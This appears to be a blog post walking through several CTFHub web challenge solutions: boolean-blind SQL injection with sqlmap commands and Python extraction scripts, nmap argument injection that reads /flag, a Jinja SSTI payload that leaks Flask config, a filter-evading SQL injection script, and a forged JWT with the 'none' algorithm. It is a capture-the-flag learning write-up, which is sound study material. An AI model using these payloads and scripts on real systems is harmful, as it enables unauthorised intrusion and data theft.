CTFHub Web real question (7 stars)

Posted by john_zakaria on Wed, 09 Feb 2022 14:16:03 +0100

Seven Star difficulty

SQL injection-2 (character Boolean blind annotation)

In the fuzzy Admin field, there are two results: the account does not exist, and the account and password are wrong
The test payload is admin 'and 1 = 1 and' TT '='tt and admin' and 1=2 and 'tt'='tt, respectively
Character type Boolean blind annotation guessed as' character truncation.
sqlmap statement
python sqlmap.py -r D:\Users\S9037978\Desktop\post.txt --technique B --current-db --thread 10 --batch
Get the database as note
python sqlmap.py -r D:\Users\S9037978\Desktop\post.txt --technique B -D note --tables --thread 10 --batch
The table names are fl4g and users
python sqlmap.py -r D:\Users\S9037978\Desktop\post.txt --technique B -D note -T fl4g --dump --thread 10 --batch
An error occurred while trying to get the column name

[ERROR] unable to retrieve the number of columns for table 'f14g' in database 'note'

Use the agent to see if there is any error message
python sqlmap.py -r D:\Users\S9037978\Desktop\post.txt --technique B -D note -T f14g --columns --thread 10 --batch --proxy http://localhost:8080

The packages sent out are all normal display contents... It is found that the table name is wrong, and sqlmap can be run out directly

Idea 2:
By the way, change your mind to view the column names of the users table

dump the data of the table directly and use the md5 of sqlmap to collide the password

python sqlmap.py -r D:\Users\S9037978\Desktop\post.txt --technique B -D note -T users --dump --thread 10 --batch


If there is no clear text collision, try to decrypt the md5 platform again

You can check the flag here directly, but you may have to pay for it later

Online wp:
Took a look at wp and said that the select was filtered
Write a simple script. Double write select is used to explode the column length and column name

right_string = "8bef"  # Wrong account or password
false_string = "5728"  # Account does not exist
url = "http://1.15.178.85/login.php"
col_length = 0

for i in range(1, 50):
    payload = "admin' and length((seselectlect column_name from information_schema.columns where table_name=0x666c3467 limit 0, 1)) = {length} and 't'='t".format(length=i)
    param = {
        "name": payload,
        "pass": "tt"
    }
    print("Testing column name with length{length}".format(length=i))
    res = requests.post(url, data=param)
    if right_string in res.text:
        print("Column length is" + str(i))
        col_length = i
        break
# The length of the result is 4

Then the above script explodes the column name

col_name = ""
    for i in range(1, 5):
        for c in range(32, 126):
            payload = "admin' and (ascii(substr((seselectlect column_name from information_schema.columns where table_name=0x666c3467 limit 0, 1),{index},1))={char}) and 't'='t".format(index=i, char=c)
            param = {
                "name": payload,
                "pass": "tt"
            }
            res = requests.post(url, data=param)
            if right_string in res.text:
                print("index:{index}  char:{char}".format(index=i,char=c))
                col_name += chr(c)
    print(col_name)
    
'''
index:1  char:102
index:2  char:108
index:3  char:97
index:4  char:103
flag
'''

Obtain data

# The length only needs to change the payload that just burst the list to
payload = "admin' and length((seselectlect flag from fl4g limit 0,1))={length} and 't'='t".format(length=i)
# Length 26

# flag content changes the pop-up name content script to
payload = "admin' and (ascii(substr((seselectlect flag from fl4g limit 0, 1),{index},1))={char}) and 't'='t".format(index=i, char=c)
# flag content
n1book{login_sqli_is_nice}

namp(nmap command injection)

After opening, an input box prompts you to enter ip/host.

After input, it will return to the open port, and the web page source code will prompt flag in / flag. Therefore, the idea is relatively clear. Use command injection to read the content of / flag.

namp file related instructions
Output format
-oN (standard output)
-oX (XML output)
-oG (Grep output)
-oA (output to all formats)
File reading
-IL (read from filename)

127.0.0.1 '- on res.txt' try to save the file first

If it is found that it can be accessed normally, read the flag directly from iL and save it
payload:
127.0.0.1' -iL /flag -oN tt.txt '
You can access the flag directly

shrine(Jinja SSTI)

After entering the title, you can see that the source code is a flash application. After formatting, it is as follows

import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')

def index():
    return open(__file__).read()

def safe_jinja(s):
    s = s.replace('(', '').replace(')', '')
    blacklist = ['config', 'self']
    return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

@app.route('/shrine/')
def shrine(shrine):
    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True, port=80)

First of all, we can see that the debug mode is enabled at runtime, and the parameters are passed in through the / shrink / route, which is also the subject of SSTI. The goal is to read the contents of config. Filter the parentheses and and set config and self to null.
Use other built-in objects to get the content of global space.
{{url_for.globals}}

Get the current app and read the config

payload:{{url_for.__globals__['current_app'].config}}

Web1(sql injection filtering)

Enter the topic input box, enter 1 and 2, and some irrelevant words will be returned. After 3, error occurred when fetch result will be returned, The input character returns bool(false). The first feeling is a bit like Boolean blind note.
Input 1 / 1 and 1 ^ 0 are normal inputs, which can be judged as digital injection. Next, try to splice logical statements
Filtered / * * /, / *! * /,, xor, (arbitrary character) and|or, (arbitrary character) & &, (arbitrary character)||

First, try to keep 1, followed by and, xor and other logical parallel symbols. After a replacement, it seems that it will be intercepted... (including a variety of replacement symbols of and / or / xor / & / | + space)

Since the logical juxtaposition characters are intercepted, try to modify 1 directly, and try to use the logical statements contained in if with output results of 1 and 3
select flag from flag is blocked
Space blocked (select)
select(flag)from(flag)
substr((select(flag)from(flag)),1,1)='f' pass
if((substr((select(flag)from(flag)),1,1)='f'),1,3) pass
Write script to explode

import requests

if __name__ == '__main__':
    url = "http://challenge-591abcfe00877319.sandbox.ctfhub.com:10080/"
    res_str = ''
    for i in range(1, 50):
        high = 127
        low = 32
        mid = (high + low) >> 1
        while low < high:
            payload = 'if((ascii(substr((select(flag)from(flag)),{index},1))>{ch}),1,3)'.format(index=str(i), ch=str(mid))
            param = {"id": payload}
            res = requests.post(url, data=param)
            if "Hello" in res.text:
                low = mid + 1
            else:
                high = mid
            mid = (high + low) >> 1
        if chr(mid) == " ":
            break
        res_str += chr(mid)
        print(res_str)

easy_login(nodejs JWT attack)


app.js prompts koa static to process static files. It can be seen that the back-end framework is KOA. Search the file structure of this framework. First according to / Controllers / API JS get API JS source code. (the bosses here say that you can guess the existence of api.js file based on experience...)

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
    'POST /api/register': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || username === 'admin'){
            throw new APIError('register error', 'wrong username');
        }

        if(global.secrets.length > 100000) {
            global.secrets = [];
        }

        const secret = crypto.randomBytes(18).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret)

        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

        ctx.rest({
            token: token
        });

        await next();
    },

    'POST /api/login': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || !password) {
            throw new APIError('login error', 'username or password is necessary');
        }

        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        console.log(sid)

        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }

        const secret = global.secrets[sid];

        const user = jwt.verify(token, secret, {algorithm: 'HS256'});

        const status = username === user.username && password === user.password;

        if(status) {
            ctx.session.username = username;
        }

        ctx.rest({
            status
        });

        await next();
    },

    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

    'GET /api/logout': async (ctx, next) => {
        ctx.session.username = null;
        ctx.rest({
            status: true
        })
        await next();
    }
};

From the source code, we can see that there are four interfaces: registration, login, acquiring flag and exiting. Let's take a look at the processing logic to obtain the flag

'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

It can be seen that when the username field in the session is admin, the value of flag will pop up. Then look at the logic of the login

'POST /api/login': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || !password) {
            throw new APIError('login error', 'username or password is necessary');
        }

        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        console.log(sid)
// When sid equals undefined, null or not between 0 and secret An exception is thrown within the length range
        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }

        const secret = global.secrets[sid];
// Verify that the token takes out the payload part and assigns it to the user
        const user = jwt.verify(token, secret, {algorithm: 'HS256'});

        const status = username === user.username && password === user.password;

        if(status) {
            ctx.session.username = username;
        }

        ctx.rest({
            status
        });

        await next();
    },

It can be seen from the login logic that sid must not be undefined,null and the value range is 0 to global Secrets is within the length range and needs to be verified by jwt's verify function.
First grab the bag and see the jwt content.

const user = jwt.verify(token, secret, {algorithm: 'HS256'}); When secret is empty. If the algorithm specified in the token is None, it can also pass the verification. python generates a None jwt and validates it locally.

const jwt = require('jsonwebtoken')

var token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImtpdCIsInJvbGUiOiJhZG1pbiJ9.";
var secret = "";
const user = jwt.verify(token, secret, {algorithm: 'HS256'});
console.log(user)
// { username: 'kit', role: 'admin' }

So you just need to leave secret blank and bypass the verification of secret. Using js array and numbers, the comparison result is always true, which can be verified.

# Generate None jwt
payloads = {
    "secretid": [],
    "username": "admin",
    "password": "123456",
}
jwt_str = jwt.encode(payload=payloads, algorithm="none",key="")
print(jwt_str)

Pass verification

Topics: CTF